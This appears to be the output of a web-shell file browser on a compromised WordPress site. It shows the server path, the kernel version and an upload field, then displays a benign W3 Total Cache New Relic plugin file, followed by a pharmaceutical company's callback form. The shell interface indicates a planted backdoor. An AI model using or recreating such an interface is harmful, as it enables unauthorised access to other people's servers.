Current Path : /storage/v11800/affypharma/public_html/wp-content/plugins/w3-total-cache/

Linux v11800 5.3.0-1023-aws #25~18.04.1-Ubuntu SMP Fri Jun 5 15:19:18 UTC 2020 aarch64

Upload File :
Current File : /storage/v11800/affypharma/public_html/wp-content/plugins/w3-total-cache/Extension_NewRelic_Core.php
<?php
namespace W3TC;

class Extension_NewRelic_Core {
	public function get_effective_browser_application() {
		$c = Dispatcher::config();
		$api_key = $c->get( array( 'newrelic', 'api_key' ) );
		$id = $c->get( array( 'newrelic', 'browser.application_id' ) );

		if ( empty( $api_key ) || empty( $id ) )
			return null;

		$applications_string = get_option( 'w3tc_nr_browser_applications' );
		$applications = @json_decode( $applications_string, true );
		if ( !is_array( $applications ) )
			$applications = array();

		if ( isset( $applications[$id] ) )
			return $applications[$id];

		try {
			$api = new Extension_NewRelic_Api( $api_key );
			$app = $api->get_browser_application( $id );

			if ( !is_null( $app ) ) {
				$applications[$id] = $app;
				update_option( 'w3tc_nr_browser_applications',
					json_encode( $applications ) );
			}

			return $app;
		} catch ( \Exception $ex ) {
			return null;
		}
	}
}

Softgel-Capsule – Affy Pharma Pvt Ltd

Arrange A Callback
[]
1 Step 1
Full Name
Telephone
Departmentyour full name
Postal Address
Message
0 /
Previous
Next
Shopping Basket